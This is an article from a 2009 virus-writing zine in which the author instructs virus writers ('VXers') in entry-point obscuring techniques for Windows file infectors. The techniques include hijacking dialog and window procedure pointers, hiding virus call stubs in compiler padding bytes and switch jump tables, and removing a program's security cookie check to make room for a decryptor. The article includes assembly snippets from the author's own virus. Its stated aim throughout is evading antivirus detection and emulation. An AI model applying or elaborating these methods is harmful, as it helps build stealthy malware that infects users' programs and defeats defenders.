Tiberio Degano
Decepticons #1
December 2009
Hi everyone I'm Tibero Degano
This article taking about EPO. Many VXers don't care so much with EPO even (as I think) it's the most strong idea in the world of virus writing. The benefit of EPO that it doesn't have an One-Click-detect technique to detect it. The polymorphic engines become an easy thing for all emulators and also metamorphic. The truth that you should know that polymorphic engines now become useless against emulators.
The difference in EPO is in every type of EPO there's a code to detect it, Reverse it or try to trace the virus EPO routine to bypass it. No way to detect all types of EPO by just one technique. Any new EPO mean a new problem.
See MistFall engine how it become very famous and become the most complex virus ever seen and the First metamorphic virus or the most complex metamorphic virus (MetaPHOR) didn't make a huge problem to Avers. Do you know why? Because Mistfall is an irreversible EPO.
EPO include many new ideas and you can call EPO an Art of creativity only it. Not only that but also it's easy to code. it's really "Easy to Infect Hard to Detect".
I'll now take you for a journey to the world of EPO begins with Griyo EPO until reach MistFall with some new ideas.
Now let's begin.
Griyo EPO. Who don't know about Griyo EPO. Most of virus writers use this idea and I think all Avers get bored from it
It simply search for Call to an API and convert it to call to the virus like this
Call dword ptr [kernel32.ExitProcess]
And this will be converted to
Call Virus_Routine
Most of Virus Writers use this idea with ExitProcess to make the virus resident in the memory and to have the ability to use the data section in their poly
Griyo EPO was modified from a long time and make it more easier. They search for a call to any procedure in the host begin with push ebp/mov ebp,esp
I think you know them very well so let's jump to the new ideas
In this EPO we will not modify the destination of any call to API but we will modify a parameter to this API. it's a simple trick but it's new completely new
This is an Example
PUSH 0 ; /lParam = NULL; PUSH notepad.009F654F ; |DlgProc=notepad.009F654F PUSH DWORD PTR DS:[9FA020] ; |hOwner = NULL PUSH 0E ; |pTemplate = E PUSH DWORD PTR DS:[9FA080] ; |hInst = NULL CALL DWORD PTR DS:[<&USER32.DialogBoxParamW>; \DialogBoxParamW
This code will be converted to:
PUSH 0 ; /lParam = NULL; PUSH Virus_Routine ; |DlgProc=***Virus_Routine*** PUSH DWORD PTR DS:[9FA020] ; |hOwner = NULL PUSH 0E ; |pTemplate = E PUSH DWORD PTR DS:[9FA080] ; |hInst = NULL CALL DWORD PTR DS:[<&USER32.DialogBoxParamW>; \DialogBoxParamW
If you notice we change the parameter (DlgProc) to the virus code make it run the virus as a Dialog Proc
We can at the end of the virus call to real Proc by using this code
Invoke SetWindowLongA hWnd, GWL_DlgProc, 009F654F Invoke callwindowProcA hwnd,wMsg,wParam,lParam
Don't worry about hWnd and others you will find them on the stack as parameters you can get them easily with no problem
This trick is new and no one think about it. It's not really better maybe more weak but the problem of virus writers that they don't create new EPOs all use Griyo EPO only no thinking about any new Idea
This trick could be used also with CreateWindowHookEx or CallWindowProcA or SetWindowLong GWL_Proc and so on
This trick is easier to be found as they should search for the API and check for their parameters if any of them point to last section or outside code section
We still in the beginning let's go to the second
We want to go a bit harder and found another API could make the detection harder. We will use RegisterClassA and search for WndProc and change it
RegisterClassA is an API used to set the information of a window you want to create like it's icon, it's cursor and so on.. One of these information is The Window Proc. This is a Proc started with Push ebp/mov ebp,esp and the pointer to it is a pointer inside code section like this:
MOV DWORD PTR SS:[EBP-64],EES.0043351C ;the Proc that we want LEA EAX,DWORD PTR SS:[EBP-40] MOV DWORD PTR SS:[EBP-44],EAX LEA EAX,DWORD PTR SS:[EBP-68] PUSH EAX ; pWndClass CALL <JMP.&user32.RegisterClassA> ; RegisterClassA
If you see in the first line the author of this program start to write the information of Window Proc if we change this code to
MOV DWORD PTR SS:[EBP-64],Virus_Routine ;the Proc that we want LEA EAX,DWORD PTR SS:[EBP-40] MOV DWORD PTR SS:[EBP-44],EAX LEA EAX,DWORD PTR SS:[EBP-68] PUSH EAX ; pWndClass CALL <JMP.&user32.RegisterClassA> ; RegisterClassA
We will make the virus run when CreateWindowEx called. We make our virus as the Window Procedure of this Window which he tries to register
I know I describe everything fast that's because this article is long and there are still some techniques I want to describe so if you don't understand something tries to read again and again to understand
You will see this technique wri en n my virus Win32.Skipo hope you like it. The code will be easy. it will search for a call to RegisterClassA and search in 50 bytes before it for a pointer to code section and when you follow it you find push ebp/mov ebp,esp
call SearchForRegisterClass .if !(eax==0) ; found mov ecx,50 ;50 bytes mov edi,eax ;the pointer to the call sub edi,50 ;make it begin eax-50 .while ecx>0 invoke FindPointerinCodeSection;is it a pointer .if !(eax==0) ;found ;push ebp mov ebp,esp .if byte [eax]==55h && word [eax]==8BEC jmp FoundPointer .endif .endif .endw
That's just an example on how to use this technique to hide the virus pointer
Another way you can use an advanced technique to hide the pointer. This technique maybe need a disassembler to work fine
If you see this code:
PUSH EES.00425DEC ; /pModule = "comctl32.dll" CALL <JMP.&kernel32.GetModuleHandleA>; \GetModuleHandleA MOV EBX,EAX TEST EBX,EBX JE EES.00425DE6 PUSH EES.00425DFC ; / "InitializeFlatSB" PUSH EBX ; |hModule CALL <JMP.&kernel32.GetProcAddress> ; \GetProcAddress MOV DWORD PTR DS:[755730],EAX
This code is simply get the module base of a Dll and tries to get Address of an API in it. Is this code is common? Yeah very common with also LoadLibraryA
If you see the last line of this code you will see it saves the address in 755730. If we can save our Virus_Routine in it and delete this code. This will be fine. To modify it we need to
MOV DWORD PTR DS:[755730],Virus_Routine
Don't forget at the end of virus you should LoadLibraryA the dll that he try to load and getProcAddress the API that he need and resave it again in the place 755730.
You can also search only for GetProcAddress and see what's the API it need, if known API try to modify the getProcAddress and all its parameters (you will need a disassembler disassemble backward) and write above them
MOV eax, Virus_Routine
And surely some nops or some junk and the address of your virus will be totally hidden or you can do this
MOV eax, imm32 MOV eax, Virus_Routine-imm32
This technique will be powerful as Delphi use this Technique many in the middle of the code and C++ use it for EncodePointer and DecodePointer so it's very useful and you can build your virus on it.
This article doesn't intend to only write some EPOs but to open your mind on think of your EPO and researching for new techniques.
Now let's jump to the next.
Now you will ask me a question: should we build our EPO on an API? Is there anything else?
I'll respond to you and say yes there's another ways to EPO. We can build our EPO on anything we know in the host. What you mean? I mean blocks of code you can find it in many applications with a static shape.
If you build a program in Delphi using VCL or in Visual basic just open a window and nothing else you will see this program take up to 250 kb or maybe more and most of them in code section. Do you ask this question for yourself: where all of these bytes spent? I'll tell you most of these bytes spent in static blocks of code do many things like initialization and loading routines and sometimes for security and so on.
We will try to use these blocks to obfuscate our Virus_Routine entry point or hide the first decryptor on them and many things like that.
Now let's begin our first idea.
Everyone know cavity filling and its idea by Billy. We will not talk about this cavity but we will talk about another cavity by C++ the most famous language of spare places.
C++ some mes like wri ng at the end of code sec on some int3 to align the code sec on physical size it also write some int3 at the end of every procedure to align it to 10H something like this
00518252 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8] 00518256 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 0051825A 56 PUSH ESI 0051825B 66:8B11 MOV DX,WORD PTR DS:[ECX] 0051825E 8D70 02 LEA ESI,DWORD PTR DS:[EAX+2] 00518261 66:8910 MOV WORD PTR DS:[EAX],DX 00518264 41 /INC ECX 00518265 41 |INC ECX 00518266 66:85D2 |TEST DX,DX 00518269 74 0A |JE SHORT uedit32.00518275 0051826B 66:8B11 |MOV DX,WORD PTR DS:[ECX] 0051826E 66:8916 |MOV WORD PTR DS:[ESI],DX 00518271 46 |INC ESI 00518272 46 |INC ESI 00518273 ^EB EF \JMP SHORT uedit32.00518264 00518275 5E POP ESI 00518276 C3 RETN 00518277 CC INT3 00518278 CC INT3 00518279 CC INT3 0051827A CC INT3 0051827B CC INT3 0051827C CC INT3 0051827D CC INT3 0051827E CC INT3 0051827F CC INT3
This is a procedure copied from UltraEdit. as you can see there are many int3 at the end of this procedure there are 9 int3
Imagine if we write a call at these cavity bytes any call will take 5 or maximum 6 bytes and there will be spare 3 bytes. Or we can write these two instruc ons to do more obfusca on
mov ebx,Virus_Routine call ebx
And that's better. But you will ask me how we will make this code run in the middle of the host. There's two ways to do that:
Shift Leave/Ret or Mov esp,ebp/pop ebp/ret or any pop then Ret. Try to find the difference of the following code and the previous code we write
00518252 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8] 00518256 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 0051825A 56 PUSH ESI 0051825B 66:8B11 MOV DX,WORD PTR DS:[ECX] 0051825E 8D70 02 LEA ESI,DWORD PTR DS:[EAX+2] 00518261 66:8910 MOV WORD PTR DS:[EAX],DX 00518264 41 /INC ECX 00518265 41 |INC ECX 00518266 66:85D2 |TEST DX,DX 00518269 74 0A |JE SHORT uedit32.00518275 0051826B 66:8B11 |MOV DX,WORD PTR DS:[ECX] 0051826E 66:8916 |MOV WORD PTR DS:[ESI],DX 00518271 46 |INC ESI 00518272 46 |INC ESI 00518273 ^EB EF \JMP SHORT uedit32.00518264 00518277 CC INT3 00518278 CC INT3 00518279 CC INT3 0051827A CC INT3 0051827B CC INT3 0051827C CC INT3 0051827D CC INT3 0051827E CC INT3 0051827F CC INT3 00518275 5E POP ESI 00518276 C3 RETN
If you recognize the difference I'm sure you understand me. We shift pop esi/retn after all cavity bytes to make them run at the end of the Proc
I think now you understand the idea. Now let's talk about how to use this idea for our Evil mind. These bytes are between 0 to 15 bytes. So that's mean we have 15 free bytes (more than Griyo that gives to us maximum 6 bytes) not only that but also this idea is an irreversible idea as you delete all marks that's could AV search for and reverse your idea. It's not like RegisterClassA idea as they can also search for the API and check if you use this trick or not but this no way to do like you do and this is the power of this trick.
Now we have 15 bytes so what we will do by them. We can write something like this:
mov ebx,imm32 ;6 bytes add ebx,Virus_Routine-imm32 ;6 bytes call ebx ;3 bytes
as you can see they are 15 bytes exactly and you obfuscate your pointer to the virus. Imagine how they will search for your virus EntryPoint they will need an emulator comes in handy with the searcher and it will take a much time to find the pointer.
But this is not only what we can do. We can use two Cavity places in row and make it more and more hard like this:
1st Cavity:
mov dword ptr [ptr32],Virus_Routine ;8 bytes
2nd Cavity:
mov ebx,dword ptr [ptr32] ;6 bytes cmp ebx,0 ;3 bytes jnz End_Epo ;2 bytes call ebx ;3 bytes End_Epo:
So the call now away from the Virus_Routine Pointer.
Or you can do like this
First in the infection time write in ptr32 (in the host) a value like imm32 and in the cavity write
mov ebx,dword ptr [ptr32] ;6 bytes add ebx,Virus_Routine-imm32 ;6 bytes call ebx ;3 bytes
Do whatever you want to do by these spare places and play with AV the cat & rat game searching for your Virus_Routine Pointer.
Now let's jump to last obfuscation with Virus_Routine pointer and let's find our way in Visual Basic
As we say in the beginning we want to analysis the static code of every compiler trying to find a perfect place to hide our pointer to Virus_Routine and now we will take another compiler and jump to Visual basic.
This trick is not a better place than the previous places but I want to open your mind for researching and finding a good trick for your EPO. All of these EPOs are just examples of what you can find. This article is simply a tutorial of how to find an EPO and how to create your own idea on EPO. So this is just an example you will find the better.
If you write a piece of code in Visual basic I'm sure you hear about "Select case". It's a command in Visual basic like Switch in C++ and it's written like this:
select case X case 1 case 2 case 3 case else end select
this code converted into assembly like this
CMP EAX,4 ; Switch (cases 0..4) JA pagebree.005DF2CE JMP DWORD PTR DS:[EAX*4+5DF308] 005DF308 005DF214 pagebree.005DF214 005DF30C 005DF22F pagebree.005DF22F 005DF310 005DF24A pagebree.005DF24A 005DF314 005DF265 pagebree.005DF265 005DF318 005DF28D pagebree.005DF28D
Ollydbg can analysis this code and understand that it's switch. It simply write all pointers to all codes in select case in a list and jump to everyone depend the number of case it should run for like this:
select case X case 1 JMP DWORD PTR DS:[EAX*4+5DF308] ; eax==1 case 2 JMP DWORD PTR DS:[EAX*4+5DF308] ; eax==2 case 3 JMP DWORD PTR DS:[EAX*4+5DF308] ; eax==3 case else JA pagebree.005DF2CE end select
and in the place 5DF308 there is a list of pointers to code that should run for every case
pagebree.005DF214 pagebree.005DF22F pagebree.005DF24A
And for "case else" that's the code for it
CMP EAX,4 ; Switch (cases 0..4) JA pagebree.005DF2CE
If eax become bigger than all cases the execution flow will go to pagebree.005DF2CE.
Now let's talk about using this trick. I think you know how we will use this trick we will place our Virus_Routine in the middle of this list
We will do this:
It's not hard EPO to use and not so hard to find but with normal searching they will not find your virus and they will need to nd every jmp [eax*4 +disp32] and check for all pointers in disp32 and this is more harder than Griyo EPO and more easier for you to use.
I think I reach the end for obfuscating your Virus_Routine Pointer with some good tricks to use. But you ask me what to choose?
I will tell you choose your mind you idea and your creativity and search for an irreversible idea that makes Avers can't search for it and miss your Virus_Routine forever and stop the Emulation all over. And don't forget all these ideas I create just for you use them or use a combination of them to create your own Style for your Virus
We will now jump into write a piece of code in the middle of the host like a decryptor or something. So why we still talking let's go
We will now talk about finding a place to hide our code. As I say before the static blocks of code EPO is simply searching for the Static code that was written for initialization, loading libraries or modules or for Security and this time we will talk about security
I found a piece of code created for security. It's created for Buffer Overflow attacks to secure the return value from being overwritten (as I think) and I think it's fit our decryptor. That its code:
01856075 /> 55 PUSH EBP 01856076 |. 8BEC MOV EBP,ESP 01856078 |. 81EC 28030000 SUB ESP,328 0185607E |. A3 80CC9301 MOV DWORD PTR DS:[193CC80],EAX 01856083 |. 890D 7CCC9301 MOV DWORD PTR DS:[193CC7C],ECX 01856089 |. 8915 78CC9301 MOV DWORD PTR DS:[193CC78],EDX 0185608F |. 891D 74CC9301 MOV DWORD PTR DS:[193CC74],EBX 01856095 |. 8935 70CC9301 MOV DWORD PTR DS:[193CC70],ESI 0185609B |. 893D 6CCC9301 MOV DWORD PTR DS:[193CC6C],EDI 018560A1 |. 66:8C15 98CC93 >MOV WORD PTR DS:[193CC98],SS 018560A8 |. 66:8C0D 8CCC93 >MOV WORD PTR DS:[193CC8C],CS 018560AF |. 66:8C1D 68CC93 >MOV WORD PTR DS:[193CC68],DS 018560B6 |. 66:8C05 64CC93 >MOV WORD PTR DS:[193CC64],ES 018560BD |. 66:8C25 60CC93 >MOV WORD PTR DS:[193CC60],FS 018560C4 |. 66:8C2D 5CCC93 >MOV WORD PTR DS:[193CC5C],GS 018560CB |. 9C PUSHFD 018560CC |. 8F05 90CC9301 POP DWORD PTR DS:[193CC90] 018560D2 |. 8B45 00 MOV EAX,DWORD PTR SS:[EBP] 018560D5 |. A3 84CC9301 MOV DWORD PTR DS:[193CC84],EAX 018560DA |. 8B45 04 MOV EAX,DWORD PTR SS:[EBP+4] 018560DD |. A3 88CC9301 MOV DWORD PTR DS:[193CC88],EAX 018560E2 |. 8D45 08 LEA EAX,DWORD PTR SS:[EBP+8] 018560E5 |. A3 94CC9301 MOV DWORD PTR DS:[193CC94],EAX 018560EA |. 8B85 E0FCFFFF MOV EAX,DWORD PTR SS:[EBP-320] 018560F0 |. C705 D0CB9301 >MOV DWORD PTR DS:[193CBD0],10001 018560FA |. A1 88CC9301 MOV EAX,DWORD PTR DS:[193CC88] 018560FF |. A3 84CB9301 MOV DWORD PTR DS:[193CB84],EAX 01856104 |. C705 78CB9301 >MOV DWORD PTR DS:[193CB78],C0000409 0185610E |. C705 7CCB9301 >MOV DWORD PTR DS:[193CB7C],1 01856118 |. A1 70AB9301 MOV EAX,DWORD PTR DS:[193AB70] 0185611D |. 8985 D8FCFFFF MOV DWORD PTR SS:[EBP-328],EAX 01856123 |. A1 74AB9301 MOV EAX,DWORD PTR DS:[193AB74] 01856128 |. 8985 DCFCFFFF MOV DWORD PTR SS:[EBP-324],EAX 0185612E |. FF15 80008F01 CALL DWORD PTR DS:[<&KERNEL32.IsDebugger>; [IsDebuggerPresent 01856134 |. A3 C8CB9301 MOV DWORD PTR DS:[193CBC8],EAX 01856139 |. 6A 01 PUSH 1 0185613B |. E8 0E030000 CALL <JMP.&MSVCR80._crt_debugger_hook> 01856140 |. 59 POP ECX 01856141 |. 6A 00 PUSH 0 ; /pTopLevelFilter = NULL 01856143 |. FF15 84008F01 CALL DWORD PTR DS:[<&KERNEL32.SetUnhandl> ; \SetUnhandledExceptionFilter 01856149 |. 68 3C129001 PUSH dRasterM.0190123C ; /pExceptionInfo = dRasterM.0190123C 0185614E |. FF15 88008F01 CALL DWORD PTR DS:[<&KERNEL32.UnhandledE> ; \UnhandledExceptionFilter 01856154 |. 833D C8CB9301 >CMP DWORD PTR DS:[193CBC8],0 0185615B |. 75 08 JNZ SHORT dRasterM.01856165 0185615D |. 6A 01 PUSH 1 0185615F |. E8 EA020000 CALL <JMP.&MSVCR80._crt_debugger_hook> 01856164 |. 59 POP ECX 01856165 |> 68 090400C0 PUSH C0000409 0185616A |. FF15 F0008F01 CALL DWORD PTR DS:[<&KERNEL32.GetCurrent> ; |[GetCurrentProcess 01856170 |. 50 PUSH EAX ; |hProcess 01856171 |. FF15 EC008F01 CALL DWORD PTR DS:[<&KERNEL32.TerminateP> ; \TerminateProcess 01856177 |. C9 LEAVE 01856178 \. C3 RETN
This code is the code of a procedure named Security check cookie. This benefit of this procedure is if you remove it the program will run smoothly with no problem and the functionality of the program will not changed only you will open a security threat in this part of code
You can easily search for this Procedure and search for all calls to it and remove them and this piece of code will be just for your use
You can write your decryptor on it or you can merge it with the previous procedure and make it as a huge cavity. Or at least you can it as a place for subroutines for the next idea or divide your decryptor into 2 places like One_half
The usage is up to you and this is just an example of this idea and I think you will find more and more ideas if you jump for researching. Now let's jump to the next
This me this idea is not a new idea it's a known idea but rarely used. This idea is win32.SK idea and I think it's only used in 3 viruses even it invented from the DOS time.
This idea is simply replacing a procedure in the host with a decryptor for your virus. In this Idea you will need to have a disassemble like hde32 to disassemble the procedure to reach the end of the procedure
The Steps to use this idea is:
This idea is easy and very powerful but I'll not describe many because it's a known idea and you can take my virus as example win32.skipo it's commented not like win32.sk
That's the last EPO I have in my bag. I decide to write it at the end because it's the best of the best. It's really hard to program so it's only one of Mistfall in the world.
This engine simply disassemble everything in the program convert it into the smallest pieces make it easy to eat and easy to control. This idea is really hard to detect but not easy to infect I think it's the hardest to program.
I'll not describe it because I'm sure you know it very well and you will see a describe of it in 29A#6 or 29A#5
I think I reach the end of EPO and still one question: What should I choose? You should choose first your mind and your creativity searching for an EPO that impossible to reverse. EPO you can easily program it but hard for avers to detect it and hard to find the entrypoint of you virus. If they didn't find it your virus will become totally hidden and very hard to detect.
I hope you enjoy my article and Enjoy EPO. I hope I inspire you with my words.
See you next time and … Bye
Tiberio Degano
[Back to index] [Comments (0)]